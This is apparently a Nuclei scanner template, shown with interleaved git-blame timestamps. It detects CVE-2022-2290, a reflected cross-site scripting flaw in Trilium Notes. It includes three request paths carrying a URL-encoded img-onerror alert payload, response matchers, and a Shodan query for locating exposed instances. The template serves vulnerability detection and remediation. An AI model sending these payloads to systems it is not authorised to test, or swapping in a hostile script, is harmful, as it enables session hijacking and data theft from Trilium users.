2022-07-05 19:53:31 +00:00
id : CVE-2022-2290
info :
2022-09-16 19:50:10 +00:00
name : Trilium <0.52.4 - Cross-Site Scripting
2022-07-05 19:53:31 +00:00
author : dbrwsky
2022-09-16 20:03:07 +00:00
severity : medium
2022-09-16 19:50:10 +00:00
description : Trilium prior to 0.52.4, 0.53.1-beta contains a cross-site scripting vulnerability which can allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected Trilium instance.
2023-09-06 11:59:08 +00:00
remediation : |
Upgrade Trilium to version 0.52.4 or later, which includes proper input sanitization to mitigate the XSS vulnerability.
2022-07-05 19:53:31 +00:00
reference :
- https://huntr.dev/bounties/367c5c8d-ad6f-46be-8503-06648ecf09cf/
- https://github.com/zadam/trilium
2022-07-06 05:34:34 +00:00
- https://github.com/zadam/trilium/commit/3faae63b849a1fabc31b823bb7af3a84d32256a7
2022-09-16 19:50:10 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-2290
2024-03-23 09:28:19 +00:00
- https://github.com/ARPSyndicate/cvemon
2022-07-08 19:07:55 +00:00
classification :
2022-09-16 20:03:07 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2022-09-16 19:50:10 +00:00
cve-id : CVE-2022-2290
2022-09-16 20:03:07 +00:00
cwe-id : CWE-79
2024-03-23 09:28:19 +00:00
epss-score : 0.001
epss-percentile : 0.40139
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:trilium_project:trilium:*:*:*:*:*:*:*:*
2022-07-06 05:07:04 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 3
2023-07-11 19:49:27 +00:00
vendor : trilium_project
product : trilium
2023-09-06 11:59:08 +00:00
shodan-query : title:"Trilium Notes"
2023-12-05 09:50:33 +00:00
tags : cve,cve2022,xss,trilium,huntr,trilium_project
2022-07-05 19:53:31 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-07-05 19:53:31 +00:00
- method : GET
path :
2022-07-06 05:10:04 +00:00
- '{{BaseURL}}/custom/%3Cimg%20src=x%20onerror=alert(document.domain)%3E'
- '{{BaseURL}}/share/api/notes/%3Cimg%20src=x%20onerror=alert(document.domain)%3E'
- '{{BaseURL}}/share/api/images/%3Cimg%20src=x%20onerror=alert(document.domain)%3E/filename'
2022-07-05 19:53:31 +00:00
2022-07-06 05:01:04 +00:00
stop-at-first-match : true
2023-07-11 19:49:27 +00:00
2022-07-05 19:53:31 +00:00
matchers-condition : and
matchers :
- type : word
part : body
2022-07-06 05:10:04 +00:00
words :
2022-07-06 07:23:32 +00:00
- "No handler matched for custom <img src=x onerror=alert(document.domain)>"
- "Note '<img src=x onerror=alert(document.domain)>' not found"
condition : or
2022-07-06 05:01:04 +00:00
2022-07-05 19:53:31 +00:00
- type : word
2022-07-06 05:10:04 +00:00
part : header
2022-07-05 19:53:31 +00:00
words :
- "text/html"
2022-07-06 05:01:04 +00:00
- type : status
status :
- 404
2024-03-25 11:57:16 +00:00
# digest: 4a0a004730450221009f17fcdc98badc0464257c420fab598e7343e41d66382b910b98fd7005d968a0022040758dbc4500b3ca9aaa3096213583ee7175eb34c798a02991e0af55731a6641:922c64590222798bb761d5b6d8e72950